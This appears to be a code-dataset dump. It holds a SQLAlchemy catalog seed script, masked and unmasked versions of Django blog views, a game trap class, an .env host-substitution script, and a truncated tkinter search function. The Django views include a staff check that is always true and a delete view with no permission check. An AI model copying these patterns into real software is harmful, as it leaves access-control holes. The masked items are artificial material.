categoryItem1 = CategoryItem(user_id=3, name="Retina MacBook Pro 13 inch", description="MacBook Pro 13-inch dual-core i5 2.5GHz/4GB/500GB/HD Graphics 4000/SD",
price="$999.00", picture="macbook.jpg", category=category3)
session.add(categoryItem1)
session.commit()
categoryItem2 = CategoryItem(user_id=3, name="Microsoft Surface Pro 3", description="Microsoft Surface Pro 3 256GB Silver tablet with keyboard.",
price="$799.99", picture="surface_pro.jpg", category=category3)
session.add(categoryItem2)
session.commit()
categoryItem3 = CategoryItem(user_id=3, name="Sony Vaio", description="Sony Vaio VPCX13C7E Notebook Intel Atom (Z540).",
price="$5.50", picture="sony_vaio.jpg", category=category3)
session.add(categoryItem3)
session.commit()
categoryItem4 = CategoryItem(user_id=3, name="Sony Vaio Mk 2", description="fresh baked and served with ice cream",
price="$3.99", picture="sony_vaio.jpg", category=category3)
session.add(categoryItem4)
session.commit()
categoryItem5 = CategoryItem(user_id=3, name="Enhanced Sony Vaio", description="Made with grade A beef instead of silicon chips.",
price="$7.99", picture="sony_vaio.jpg", category=category3)
session.add(categoryItem5)
session.commit()
categoryItem6 = CategoryItem(user_id=3, name="Root Beer", description="16oz of refreshing goodness",
price="$1.99", picture="sony_vaio.jpg", category=category3)
session.add(categoryItem6)
session.commit()
# Items for biking category.
category4 = Category(user_id=4, name="Biking")
session.add(category4)
session.commit()
categoryItem1 = CategoryItem(user_id=4, name="Racing Bike", description="Feel the speed with this super light and stiff carbon fibre racing bike.",
price="$1499.99", picture="racing_bike.jpg", category=category4)
session.add(categoryItem1)
session.commit()
categoryItem2 = CategoryItem(user_id=4, name="Bike Helmet", description="Protect your head from falls with a super strong helmet.",
price="$22.99", picture="bike_helmet.jpg", category=category4)
session.add(categoryItem2)
session.commit()
categoryItem3 = CategoryItem(user_id=4, name="Bike Chain", description="Spare chain with a full range of sizes and types available.",
price="$15.50", picture="bike_chain.jpg", category=category4)
session.add(categoryItem3)
session.commit()
categoryItem4 = CategoryItem(user_id=4, name="27 Inch Tyre", description="A wonderfully resistant tyre with Smart Guard protection.",
price="$33.99", picture="bike_tyres.jpg", category=category4)
session.add(categoryItem4)
session.commit()
categoryItem5 = CategoryItem(user_id=4, name="Puncture Repair Kit", description="Part of the essentials list when preparing for a bike ride.",
price="$15.99", picture="puncture_repair_kit.jpg", category=category4)
session.add(categoryItem5)
session.commit()
categoryItem6 = CategoryItem(user_id=4, name="White Stripe Crash Helmet", description="Colourful and stylish streamlined biking helmet.",
price="$29.99", picture="bike_helmet2.jpg", category=category4)
session.add(categoryItem6)
session.commit()
# Items for surfing category.
category5 = Category(user_id=5, name="Surfing")
session.add(category5)
session.commit()
categoryItem1 = CategoryItem(user_id=5, name="Surf Wax", description="Essential surfboard traction.",
price="$7.50", picture="surf_wax.jpg", category=category5)
session.add(categoryItem1)
session.commit()
categoryItem2 = CategoryItem(user_id=5, name="Surfboard", description="This versatile shape will glide you through the waves.",
price="$299.99", picture="surfboard.jpg", category=category5)
session.add(categoryItem2)
session.commit()
categoryItem3 = CategoryItem(user_id=5, name="Wetsuit", description="Keep warm and protected in the cold months.",
price="$150.00", picture="wetsuit.jpg", category=category5)
session.add(categoryItem3)
session.commit()
categoryItem4 = CategoryItem(user_id=5, name="Flip Flops", description="Blue, easy fit slip on.",
price="$3.99", picture="flip_flops.jpg", category=category5)
session.add(categoryItem4)
session.commit()
categoryItem5 = CategoryItem(user_id=5, name="Hat", description="Hat for chilling in the beach sun.",
price="$7.99", picture="flip_flops.jpg", category=category5)
session.add(categoryItem5)
session.commit()
categoryItem6 = CategoryItem(user_id=5, name="Root Beer soaked flip-flops", description="16oz of refreshing goodness poured over a fresh set of flip-flops",
price="$1.99", picture="flip_flops.jpg", category=category5)
session.add(categoryItem6)
session.commit()
print "Added Category items and users!" | null | null | null | null | [
0
] |
9,924 | e9fab2bb49cfda00b8cfedafab0009f691d11ec9 | <mask token>
def post_create(request):
form = PostForm(request.POST or None, request.FILES or None)
if request.method == 'POST':
user = request.POST.get('user')
title = request.POST.get('title')
content = request.POST.get('content')
PostStudent.objects.create(user=user, title=title, content=content)
messages.success(request, 'Successfully Posted')
context = {'form': form}
return render(request, 'post/create_post.html', context)
def temp_post(request):
return render(request, 'post/Posts.html', {})
<mask token>
def allpoststudents(request):
if not request.user.is_staff or request.user.is_staff:
obj = PostStudent.objects.all().order_by('-timestamp')
query = request.GET.get('q')
if query:
obj = obj.filter(Q(title__icontains=query) | Q(content__icontains=
query) | Q(user__icontains=query) | Q(timestamp__icontains=query)
).distinct()
context = {'obj': obj}
return render(request, 'post/All_Post_Students.html', context)
<mask token>
def post_details(request, id=None):
instance = get_object_or_404(Post, id=id)
content_type = ContentType.objects.get_for_model(Post)
obj_id = instance.id
comments = Comment.objects.filter(content_type=content_type, object_id=
obj_id)
initial_data = {'content_type': content_type, 'object_id': instance.id}
form = CommentForm(request.POST or None, initial=initial_data)
if form.is_valid():
c_type = form.cleaned_data.get('content_type')
content_type = ContentType.objects.get(model=c_type)
obj_id = form.cleaned_data.get('object_id')
content_data = form.cleaned_data.get('content')
parent_obj = None
try:
parent_id = int(request.POST.get('parent_id'))
except:
parent_id = None
if parent_id:
parent_qs = Comment.objects.filter(id=parent_id)
if parent_qs.exists():
parent_obj = parent_qs.first()
new_comment, created = Comment.objects.get_or_create(user=request.
user, content_type=content_type, object_id=obj_id, content=
content_data, parent=parent_obj)
context = {'title': instance.title, 'instance': instance, 'comments':
comments, 'form': form, 'obj_id': obj_id}
return render(request, 'post/Posts.html', context)
def post_details_student(request, id=None):
instance = get_object_or_404(PostStudent, id=id)
content_type = ContentType.objects.get_for_model(PostStudent)
obj_id = instance.id
comments = CommentStudent.objects.filter(content_type=content_type,
object_id=obj_id)
initial_data = {'content_type': content_type, 'object_id': instance.id}
form = CommentForm(request.POST or None, initial=initial_data)
if form.is_valid():
c_type = form.cleaned_data.get('content_type')
content_type = ContentType.objects.get(model=c_type)
obj_id = form.cleaned_data.get('object_id')
content_data = form.cleaned_data.get('content')
parent_obj = None
try:
parent_id = int(request.POST.get('parent_id'))
except:
parent_id = None
if parent_id:
parent_qs = Comment.objects.filter(id=parent_id)
if parent_qs.exists():
parent_obj = parent_qs.first()
new_comment, created = CommentStudent.objects.get_or_create(user=
request.user, content_type=content_type, object_id=obj_id,
content=content_data, parent=parent_obj)
context = {'title': instance.title, 'instance': instance, 'comments':
comments, 'form': form, 'obj_id': obj_id}
return render(request, 'post/post_details_student.html', context)
<mask token>
| <mask token>
def post_create(request):
form = PostForm(request.POST or None, request.FILES or None)
if request.method == 'POST':
user = request.POST.get('user')
title = request.POST.get('title')
content = request.POST.get('content')
PostStudent.objects.create(user=user, title=title, content=content)
messages.success(request, 'Successfully Posted')
context = {'form': form}
return render(request, 'post/create_post.html', context)
def temp_post(request):
return render(request, 'post/Posts.html', {})
<mask token>
def allpoststudents(request):
if not request.user.is_staff or request.user.is_staff:
obj = PostStudent.objects.all().order_by('-timestamp')
query = request.GET.get('q')
if query:
obj = obj.filter(Q(title__icontains=query) | Q(content__icontains=
query) | Q(user__icontains=query) | Q(timestamp__icontains=query)
).distinct()
context = {'obj': obj}
return render(request, 'post/All_Post_Students.html', context)
def post_update(request, id=None):
instance = get_object_or_404(Post, id=id)
form = PostForm(request.POST or None, instance=instance)
if form.is_valid():
instance = form.save(commit=False)
instance.save()
messages.success(request, "<a href='#'>Item </a>Saved", extra_tags=
'html_safe')
return HttpResponseRedirect(instance.get_absolute_url())
context = {'title': instance.title, 'instance': instance, 'form': form}
return render(request, 'post/create_post.html', context)
def post_details(request, id=None):
instance = get_object_or_404(Post, id=id)
content_type = ContentType.objects.get_for_model(Post)
obj_id = instance.id
comments = Comment.objects.filter(content_type=content_type, object_id=
obj_id)
initial_data = {'content_type': content_type, 'object_id': instance.id}
form = CommentForm(request.POST or None, initial=initial_data)
if form.is_valid():
c_type = form.cleaned_data.get('content_type')
content_type = ContentType.objects.get(model=c_type)
obj_id = form.cleaned_data.get('object_id')
content_data = form.cleaned_data.get('content')
parent_obj = None
try:
parent_id = int(request.POST.get('parent_id'))
except:
parent_id = None
if parent_id:
parent_qs = Comment.objects.filter(id=parent_id)
if parent_qs.exists():
parent_obj = parent_qs.first()
new_comment, created = Comment.objects.get_or_create(user=request.
user, content_type=content_type, object_id=obj_id, content=
content_data, parent=parent_obj)
context = {'title': instance.title, 'instance': instance, 'comments':
comments, 'form': form, 'obj_id': obj_id}
return render(request, 'post/Posts.html', context)
def post_details_student(request, id=None):
instance = get_object_or_404(PostStudent, id=id)
content_type = ContentType.objects.get_for_model(PostStudent)
obj_id = instance.id
comments = CommentStudent.objects.filter(content_type=content_type,
object_id=obj_id)
initial_data = {'content_type': content_type, 'object_id': instance.id}
form = CommentForm(request.POST or None, initial=initial_data)
if form.is_valid():
c_type = form.cleaned_data.get('content_type')
content_type = ContentType.objects.get(model=c_type)
obj_id = form.cleaned_data.get('object_id')
content_data = form.cleaned_data.get('content')
parent_obj = None
try:
parent_id = int(request.POST.get('parent_id'))
except:
parent_id = None
if parent_id:
parent_qs = Comment.objects.filter(id=parent_id)
if parent_qs.exists():
parent_obj = parent_qs.first()
new_comment, created = CommentStudent.objects.get_or_create(user=
request.user, content_type=content_type, object_id=obj_id,
content=content_data, parent=parent_obj)
context = {'title': instance.title, 'instance': instance, 'comments':
comments, 'form': form, 'obj_id': obj_id}
return render(request, 'post/post_details_student.html', context)
<mask token>
| <mask token>
def post_create(request):
form = PostForm(request.POST or None, request.FILES or None)
if request.method == 'POST':
user = request.POST.get('user')
title = request.POST.get('title')
content = request.POST.get('content')
PostStudent.objects.create(user=user, title=title, content=content)
messages.success(request, 'Successfully Posted')
context = {'form': form}
return render(request, 'post/create_post.html', context)
def temp_post(request):
return render(request, 'post/Posts.html', {})
def temp_allpost(request):
obj = Post.objects.all()
context = {'obj': obj}
return render(request, 'post/All_Post.html', context)
def allpoststudents(request):
if not request.user.is_staff or request.user.is_staff:
obj = PostStudent.objects.all().order_by('-timestamp')
query = request.GET.get('q')
if query:
obj = obj.filter(Q(title__icontains=query) | Q(content__icontains=
query) | Q(user__icontains=query) | Q(timestamp__icontains=query)
).distinct()
context = {'obj': obj}
return render(request, 'post/All_Post_Students.html', context)
def post_update(request, id=None):
instance = get_object_or_404(Post, id=id)
form = PostForm(request.POST or None, instance=instance)
if form.is_valid():
instance = form.save(commit=False)
instance.save()
messages.success(request, "<a href='#'>Item </a>Saved", extra_tags=
'html_safe')
return HttpResponseRedirect(instance.get_absolute_url())
context = {'title': instance.title, 'instance': instance, 'form': form}
return render(request, 'post/create_post.html', context)
def post_details(request, id=None):
instance = get_object_or_404(Post, id=id)
content_type = ContentType.objects.get_for_model(Post)
obj_id = instance.id
comments = Comment.objects.filter(content_type=content_type, object_id=
obj_id)
initial_data = {'content_type': content_type, 'object_id': instance.id}
form = CommentForm(request.POST or None, initial=initial_data)
if form.is_valid():
c_type = form.cleaned_data.get('content_type')
content_type = ContentType.objects.get(model=c_type)
obj_id = form.cleaned_data.get('object_id')
content_data = form.cleaned_data.get('content')
parent_obj = None
try:
parent_id = int(request.POST.get('parent_id'))
except:
parent_id = None
if parent_id:
parent_qs = Comment.objects.filter(id=parent_id)
if parent_qs.exists():
parent_obj = parent_qs.first()
new_comment, created = Comment.objects.get_or_create(user=request.
user, content_type=content_type, object_id=obj_id, content=
content_data, parent=parent_obj)
context = {'title': instance.title, 'instance': instance, 'comments':
comments, 'form': form, 'obj_id': obj_id}
return render(request, 'post/Posts.html', context)
def post_details_student(request, id=None):
instance = get_object_or_404(PostStudent, id=id)
content_type = ContentType.objects.get_for_model(PostStudent)
obj_id = instance.id
comments = CommentStudent.objects.filter(content_type=content_type,
object_id=obj_id)
initial_data = {'content_type': content_type, 'object_id': instance.id}
form = CommentForm(request.POST or None, initial=initial_data)
if form.is_valid():
c_type = form.cleaned_data.get('content_type')
content_type = ContentType.objects.get(model=c_type)
obj_id = form.cleaned_data.get('object_id')
content_data = form.cleaned_data.get('content')
parent_obj = None
try:
parent_id = int(request.POST.get('parent_id'))
except:
parent_id = None
if parent_id:
parent_qs = Comment.objects.filter(id=parent_id)
if parent_qs.exists():
parent_obj = parent_qs.first()
new_comment, created = CommentStudent.objects.get_or_create(user=
request.user, content_type=content_type, object_id=obj_id,
content=content_data, parent=parent_obj)
context = {'title': instance.title, 'instance': instance, 'comments':
comments, 'form': form, 'obj_id': obj_id}
return render(request, 'post/post_details_student.html', context)
def post_delete(request, id=None):
instance = get_object_or_404(PostStudent, id=id)
instance.delete()
messages.success(request, 'Successfully deleted')
return render(request, 'post/All_Post_Students.html', {})
| from django.shortcuts import render, get_object_or_404, redirect
from django.contrib.contenttypes.models import ContentType
from User.forms import EditProfileForm
from User import forms
from django.db.models import Q
from django.contrib import messages
from django.urls import reverse
from django.http import HttpResponseRedirect
from posts.forms import *
from .models import Post
from comments.models import *
from comments.forms import *
def post_create(request):
form = PostForm(request.POST or None, request.FILES or None)
if request.method == 'POST':
user = request.POST.get('user')
title = request.POST.get('title')
content = request.POST.get('content')
PostStudent.objects.create(user=user, title=title, content=content)
messages.success(request, 'Successfully Posted')
context = {'form': form}
return render(request, 'post/create_post.html', context)
def temp_post(request):
return render(request, 'post/Posts.html', {})
def temp_allpost(request):
obj = Post.objects.all()
context = {'obj': obj}
return render(request, 'post/All_Post.html', context)
def allpoststudents(request):
if not request.user.is_staff or request.user.is_staff:
obj = PostStudent.objects.all().order_by('-timestamp')
query = request.GET.get('q')
if query:
obj = obj.filter(Q(title__icontains=query) | Q(content__icontains=
query) | Q(user__icontains=query) | Q(timestamp__icontains=query)
).distinct()
context = {'obj': obj}
return render(request, 'post/All_Post_Students.html', context)
def post_update(request, id=None):
instance = get_object_or_404(Post, id=id)
form = PostForm(request.POST or None, instance=instance)
if form.is_valid():
instance = form.save(commit=False)
instance.save()
messages.success(request, "<a href='#'>Item </a>Saved", extra_tags=
'html_safe')
return HttpResponseRedirect(instance.get_absolute_url())
context = {'title': instance.title, 'instance': instance, 'form': form}
return render(request, 'post/create_post.html', context)
def post_details(request, id=None):
instance = get_object_or_404(Post, id=id)
content_type = ContentType.objects.get_for_model(Post)
obj_id = instance.id
comments = Comment.objects.filter(content_type=content_type, object_id=
obj_id)
initial_data = {'content_type': content_type, 'object_id': instance.id}
form = CommentForm(request.POST or None, initial=initial_data)
if form.is_valid():
c_type = form.cleaned_data.get('content_type')
content_type = ContentType.objects.get(model=c_type)
obj_id = form.cleaned_data.get('object_id')
content_data = form.cleaned_data.get('content')
parent_obj = None
try:
parent_id = int(request.POST.get('parent_id'))
except:
parent_id = None
if parent_id:
parent_qs = Comment.objects.filter(id=parent_id)
if parent_qs.exists():
parent_obj = parent_qs.first()
new_comment, created = Comment.objects.get_or_create(user=request.
user, content_type=content_type, object_id=obj_id, content=
content_data, parent=parent_obj)
context = {'title': instance.title, 'instance': instance, 'comments':
comments, 'form': form, 'obj_id': obj_id}
return render(request, 'post/Posts.html', context)
def post_details_student(request, id=None):
instance = get_object_or_404(PostStudent, id=id)
content_type = ContentType.objects.get_for_model(PostStudent)
obj_id = instance.id
comments = CommentStudent.objects.filter(content_type=content_type,
object_id=obj_id)
initial_data = {'content_type': content_type, 'object_id': instance.id}
form = CommentForm(request.POST or None, initial=initial_data)
if form.is_valid():
c_type = form.cleaned_data.get('content_type')
content_type = ContentType.objects.get(model=c_type)
obj_id = form.cleaned_data.get('object_id')
content_data = form.cleaned_data.get('content')
parent_obj = None
try:
parent_id = int(request.POST.get('parent_id'))
except:
parent_id = None
if parent_id:
parent_qs = Comment.objects.filter(id=parent_id)
if parent_qs.exists():
parent_obj = parent_qs.first()
new_comment, created = CommentStudent.objects.get_or_create(user=
request.user, content_type=content_type, object_id=obj_id,
content=content_data, parent=parent_obj)
context = {'title': instance.title, 'instance': instance, 'comments':
comments, 'form': form, 'obj_id': obj_id}
return render(request, 'post/post_details_student.html', context)
def post_delete(request, id=None):
instance = get_object_or_404(PostStudent, id=id)
instance.delete()
messages.success(request, 'Successfully deleted')
return render(request, 'post/All_Post_Students.html', {})
| from django.shortcuts import render, get_object_or_404, redirect
from django.contrib.contenttypes.models import ContentType
from User.forms import EditProfileForm
from User import forms
from django.db.models import Q
from django.contrib import messages
from django.urls import reverse
from django.http import HttpResponseRedirect
from posts.forms import *
# Create your views here.
from .models import Post
from comments.models import *
from comments.forms import *
def post_create(request):
form = PostForm(request.POST or None, request.FILES or None)
if request.method == "POST":
user= request.POST.get("user")
title = request.POST.get("title")
content = request.POST.get("content")
PostStudent.objects.create(user=user, title=title,content=content)
messages.success(request, "Successfully Posted")
#if form.is_valid():
#instance = form.save(commit=False)
#instance.save()
context = {
"form": form,
}
return render(request, "post/create_post.html", context)
def temp_post(request):
return render(request, 'post/Posts.html', {})
def temp_allpost(request):
obj = Post.objects.all()
context = {'obj': obj}
return render(request, 'post/All_Post.html', context)
def allpoststudents(request):
if not request.user.is_staff or request.user.is_staff:
obj = PostStudent.objects.all().order_by("-timestamp")
query = request.GET.get("q")
if query:
obj = obj.filter(
Q(title__icontains=query)|
Q(content__icontains=query)|
Q(user__icontains=query)|
Q(timestamp__icontains=query)
).distinct()
context = {'obj': obj}
return render(request, 'post/All_Post_Students.html', context)
def post_update(request, id=None):
instance = get_object_or_404(Post, id=id)
form = PostForm(request.POST or None, instance=instance)
if form.is_valid():
instance = form.save(commit=False)
instance.save()
messages.success(request, "<a href='#'>Item </a>Saved", extra_tags='html_safe')
return HttpResponseRedirect(instance.get_absolute_url())
context = {
"title": instance.title,
"instance": instance,
"form": form,
}
return render(request, "post/create_post.html", context)
def post_details(request, id=None):
instance = get_object_or_404(Post, id=id)
content_type = ContentType.objects.get_for_model(Post)
obj_id = instance.id
comments = Comment.objects.filter(content_type=content_type, object_id=obj_id)
initial_data = {
"content_type": content_type,
"object_id": instance.id
}
form = CommentForm(request.POST or None, initial= initial_data)
if form.is_valid():
c_type = form.cleaned_data.get("content_type")
content_type = ContentType.objects.get(model=c_type)
obj_id = form.cleaned_data.get("object_id")
content_data = form.cleaned_data.get("content")
parent_obj = None
try:
parent_id = int(request.POST.get("parent_id"))
except:
parent_id = None
if parent_id:
parent_qs = Comment.objects.filter(id=parent_id)
if parent_qs.exists():
parent_obj = parent_qs.first()
new_comment, created = Comment.objects.get_or_create(
user = request.user,
content_type = content_type,
object_id = obj_id,
content = content_data,
parent = parent_obj,
)
context = {
"title":instance.title,
"instance":instance,
"comments": comments,
"form": form,
"obj_id": obj_id,
}
return render(request, "post/Posts.html", context)
def post_details_student(request, id=None):
instance = get_object_or_404(PostStudent, id=id)
content_type = ContentType.objects.get_for_model(PostStudent)
obj_id = instance.id
comments = CommentStudent.objects.filter(content_type=content_type, object_id=obj_id)
initial_data = {
"content_type": content_type,
"object_id": instance.id
}
form = CommentForm(request.POST or None, initial=initial_data)
if form.is_valid():
c_type = form.cleaned_data.get("content_type")
content_type = ContentType.objects.get(model=c_type)
obj_id = form.cleaned_data.get("object_id")
content_data = form.cleaned_data.get("content")
parent_obj = None
try:
parent_id = int(request.POST.get("parent_id"))
except:
parent_id = None
if parent_id:
parent_qs = Comment.objects.filter(id=parent_id)
if parent_qs.exists():
parent_obj = parent_qs.first()
new_comment, created = CommentStudent.objects.get_or_create(
user=request.user,
content_type=content_type,
object_id=obj_id,
content=content_data,
parent=parent_obj,
)
context = {
"title": instance.title,
"instance": instance,
"comments": comments,
"form": form,
"obj_id": obj_id,
}
return render(request, "post/post_details_student.html", context)
def post_delete(request, id=None):
instance = get_object_or_404(PostStudent, id=id)
instance.delete()
messages.success(request, "Successfully deleted")
return render(request, 'post/All_Post_Students.html', {})
| [
5,
6,
8,
9,
10
] |
9,925 | f2a94f6bfe86af439a8248b40732340c45d89b93 | <mask token>
class Trap(GameObject):
<mask token>
def __init__(self, gamedir, filename=None):
self.attacks = list()
self.x = 0
self.y = 0
self.radius = 0
self.is_first_round = True
GameObject.__init__(self, gamedir, filename)
<mask token>
def trigger_trap(self, victim):
attac = random.choice(self.attacks)
attack = attac[0]
damage = attac[1]
victim.health = mb_subs.subtract_to_floor(victim.health, damage)
if damage >= 0:
commentary = '(OH NO!) %s' % (attack % victim.name)
else:
commentary = '(WOW!) %s' % (attack % victim.name)
return commentary, damage
| <mask token>
class Trap(GameObject):
<mask token>
def __init__(self, gamedir, filename=None):
self.attacks = list()
self.x = 0
self.y = 0
self.radius = 0
self.is_first_round = True
GameObject.__init__(self, gamedir, filename)
def read_in_config(self, filename):
parser = GameObject.read_in_config(self, filename)
if parser.has_section('attacks'):
self.attacks = mb_subs.actions(parser.items('attacks'))
del parser
def trigger_trap(self, victim):
attac = random.choice(self.attacks)
attack = attac[0]
damage = attac[1]
victim.health = mb_subs.subtract_to_floor(victim.health, damage)
if damage >= 0:
commentary = '(OH NO!) %s' % (attack % victim.name)
else:
commentary = '(WOW!) %s' % (attack % victim.name)
return commentary, damage
| <mask token>
class Trap(GameObject):
"""
This class is used to create traps (or blessing objects) that exist
in the arena on their own but that are not subject to attack.
The only real attributes traps have is different types of attacks that
they can carry out on combatants in the arena.
"""
def __init__(self, gamedir, filename=None):
self.attacks = list()
self.x = 0
self.y = 0
self.radius = 0
self.is_first_round = True
GameObject.__init__(self, gamedir, filename)
def read_in_config(self, filename):
parser = GameObject.read_in_config(self, filename)
if parser.has_section('attacks'):
self.attacks = mb_subs.actions(parser.items('attacks'))
del parser
def trigger_trap(self, victim):
attac = random.choice(self.attacks)
attack = attac[0]
damage = attac[1]
victim.health = mb_subs.subtract_to_floor(victim.health, damage)
if damage >= 0:
commentary = '(OH NO!) %s' % (attack % victim.name)
else:
commentary = '(WOW!) %s' % (attack % victim.name)
return commentary, damage
| import random
import mb_io
import mb_subs
from mb_go import GameObject
class Trap(GameObject):
"""
This class is used to create traps (or blessing objects) that exist
in the arena on their own but that are not subject to attack.
The only real attributes traps have is different types of attacks that
they can carry out on combatants in the arena.
"""
def __init__(self, gamedir, filename=None):
self.attacks = list()
self.x = 0
self.y = 0
self.radius = 0
self.is_first_round = True
GameObject.__init__(self, gamedir, filename)
def read_in_config(self, filename):
parser = GameObject.read_in_config(self, filename)
if parser.has_section('attacks'):
self.attacks = mb_subs.actions(parser.items('attacks'))
del parser
def trigger_trap(self, victim):
attac = random.choice(self.attacks)
attack = attac[0]
damage = attac[1]
victim.health = mb_subs.subtract_to_floor(victim.health, damage)
if damage >= 0:
commentary = '(OH NO!) %s' % (attack % victim.name)
else:
commentary = '(WOW!) %s' % (attack % victim.name)
return commentary, damage
| # -------------------------------------------------------------------------
# File: mb_trap.py
# Created: Tue Feb 7 20:51:32 2006
# -------------------------------------------------------------------------
import random
import mb_io
import mb_subs
from mb_go import GameObject
class Trap(GameObject):
"""
This class is used to create traps (or blessing objects) that exist
in the arena on their own but that are not subject to attack.
The only real attributes traps have is different types of attacks that
they can carry out on combatants in the arena.
"""
def __init__(self, gamedir, filename = None):
self.attacks = list()
self.x = 0
self.y = 0
self.radius = 0
self.is_first_round = True
GameObject.__init__(self, gamedir, filename)
def read_in_config(self, filename):
parser = GameObject.read_in_config(self, filename)
if parser.has_section('attacks'):
self.attacks = mb_subs.actions(parser.items('attacks'))
del parser
def trigger_trap(self, victim):
attac = random.choice(self.attacks)
attack = attac[0]
damage = attac[1]
victim.health = mb_subs.subtract_to_floor(victim.health, damage)
if damage >= 0:
commentary = '(OH NO!) %s' % (attack % victim.name)
else:
commentary = '(WOW!) %s' % (attack % victim.name)
return commentary, damage
| [
3,
4,
5,
6,
7
] |
9,926 | d6af9a75fbe8bdf1a81a352cee71ac81fb373b86 | <mask token>
def process_the_source(fname, dest=None, host_ip=None, verbose=False):
assert os.path.exists(fname) and os.path.isfile(fname
), 'Cannot proceed without the fname in process_the_source().'
the_lines = []
with open(fname, 'r') as fIn:
for line in fIn:
l = line.rstrip()
l = l.replace(__target__, host_ip)
the_lines.append(l)
with open(dest, 'w') as fOut:
for l in the_lines:
print(l, file=fOut)
assert os.path.exists(dest) and os.path.isfile(dest
), 'Cannot proceed without the dest file in process_the_source().'
<mask token>
| <mask token>
def process_the_source(fname, dest=None, host_ip=None, verbose=False):
assert os.path.exists(fname) and os.path.isfile(fname
), 'Cannot proceed without the fname in process_the_source().'
the_lines = []
with open(fname, 'r') as fIn:
for line in fIn:
l = line.rstrip()
l = l.replace(__target__, host_ip)
the_lines.append(l)
with open(dest, 'w') as fOut:
for l in the_lines:
print(l, file=fOut)
assert os.path.exists(dest) and os.path.isfile(dest
), 'Cannot proceed without the dest file in process_the_source().'
if __name__ == '__main__':
is_verbose = True
root = sys.argv[1]
host_ip = sys.argv[2]
assert len(host_ip) > 0, 'Cannot proceed without the host ip address.'
assert os.path.exists(root) and os.path.isdir(root
), 'Cannot proceed without the root in process_the_source().'
sources['{}/.env'.format(root)] = '{}/code/.env'.format(root)
if is_verbose:
print('BEGIN:')
for s, d in sources.items():
if is_verbose:
print('{} -> {}'.format(s, d))
assert os.path.exists(s) and os.path.isfile(s
), 'Cannot find "{}" so cannot proceed.'.format(s)
process_the_source(s, dest=d, host_ip=host_ip, verbose=is_verbose)
if is_verbose:
print('END!!!')
if is_verbose:
print()
print('Done.')
| <mask token>
__target__ = '${EXTERNAL_HOST}'
sources = {}
def process_the_source(fname, dest=None, host_ip=None, verbose=False):
assert os.path.exists(fname) and os.path.isfile(fname
), 'Cannot proceed without the fname in process_the_source().'
the_lines = []
with open(fname, 'r') as fIn:
for line in fIn:
l = line.rstrip()
l = l.replace(__target__, host_ip)
the_lines.append(l)
with open(dest, 'w') as fOut:
for l in the_lines:
print(l, file=fOut)
assert os.path.exists(dest) and os.path.isfile(dest
), 'Cannot proceed without the dest file in process_the_source().'
if __name__ == '__main__':
is_verbose = True
root = sys.argv[1]
host_ip = sys.argv[2]
assert len(host_ip) > 0, 'Cannot proceed without the host ip address.'
assert os.path.exists(root) and os.path.isdir(root
), 'Cannot proceed without the root in process_the_source().'
sources['{}/.env'.format(root)] = '{}/code/.env'.format(root)
if is_verbose:
print('BEGIN:')
for s, d in sources.items():
if is_verbose:
print('{} -> {}'.format(s, d))
assert os.path.exists(s) and os.path.isfile(s
), 'Cannot find "{}" so cannot proceed.'.format(s)
process_the_source(s, dest=d, host_ip=host_ip, verbose=is_verbose)
if is_verbose:
print('END!!!')
if is_verbose:
print()
print('Done.')
| import os
import sys
import socket
__target__ = '${EXTERNAL_HOST}'
sources = {}
def process_the_source(fname, dest=None, host_ip=None, verbose=False):
assert os.path.exists(fname) and os.path.isfile(fname
), 'Cannot proceed without the fname in process_the_source().'
the_lines = []
with open(fname, 'r') as fIn:
for line in fIn:
l = line.rstrip()
l = l.replace(__target__, host_ip)
the_lines.append(l)
with open(dest, 'w') as fOut:
for l in the_lines:
print(l, file=fOut)
assert os.path.exists(dest) and os.path.isfile(dest
), 'Cannot proceed without the dest file in process_the_source().'
if __name__ == '__main__':
is_verbose = True
root = sys.argv[1]
host_ip = sys.argv[2]
assert len(host_ip) > 0, 'Cannot proceed without the host ip address.'
assert os.path.exists(root) and os.path.isdir(root
), 'Cannot proceed without the root in process_the_source().'
sources['{}/.env'.format(root)] = '{}/code/.env'.format(root)
if is_verbose:
print('BEGIN:')
for s, d in sources.items():
if is_verbose:
print('{} -> {}'.format(s, d))
assert os.path.exists(s) and os.path.isfile(s
), 'Cannot find "{}" so cannot proceed.'.format(s)
process_the_source(s, dest=d, host_ip=host_ip, verbose=is_verbose)
if is_verbose:
print('END!!!')
if is_verbose:
print()
print('Done.')
| import os
import sys
import socket
__target__ = '${EXTERNAL_HOST}'
sources = {}
def process_the_source(fname, dest=None, host_ip=None, verbose=False):
assert (os.path.exists(fname) and os.path.isfile(fname)), 'Cannot proceed without the fname in process_the_source().'
the_lines = []
with open(fname, 'r') as fIn:
for line in fIn:
l = line.rstrip()
l = l.replace(__target__, host_ip)
the_lines.append(l)
with open(dest, 'w') as fOut:
for l in the_lines:
print(l, file=fOut)
assert (os.path.exists(dest) and os.path.isfile(dest)), 'Cannot proceed without the dest file in process_the_source().'
if (__name__ == '__main__'):
is_verbose = True
root = sys.argv[1]
host_ip = sys.argv[2]
assert (len(host_ip) > 0), 'Cannot proceed without the host ip address.'
assert (os.path.exists(root) and os.path.isdir(root)), 'Cannot proceed without the root in process_the_source().'
sources['{}/.env'.format(root)] = '{}/code/.env'.format(root)
if (is_verbose):
print('BEGIN:')
for s,d in sources.items():
if (is_verbose):
print('{} -> {}'.format(s, d))
assert os.path.exists(s) and os.path.isfile(s), 'Cannot find "{}" so cannot proceed.'.format(s)
process_the_source(s, dest=d, host_ip=host_ip, verbose=is_verbose)
if (is_verbose):
print('END!!!')
if (is_verbose):
print()
print('Done.')
| [
1,
2,
3,
4,
5
] |
9,927 | 8058ff209af03b7365ffad2a9ce2e2805b548f53 | <mask token>
def Search():
Names = Name.get()
Ages = Age.get()
Genders = Gender.get()
Heights = height.get()
Weights = weight.get()
Rollnos = StudentId.get()
Sports = Sport.get()
t = tree.get_children()
for f in t:
tree.delete(f)
if len(Names) != 0:
cursor.execute(
"""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Activity B on A.StudentId=B.StudentId where A.Name like(?)"""
, Names)
records = cursor.fetchall()
for row in records:
tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],
row[4], row[5], row[6]))
tree.pack(side=tk.TOP, fill=tk.X)
elif len(Ages) != 0:
cursor.execute(
"""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Sports B on A.StudentId=B.StudentId where A.Age like(?)"""
, Ages)
records = cursor.fetchall()
for row in records:
tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],
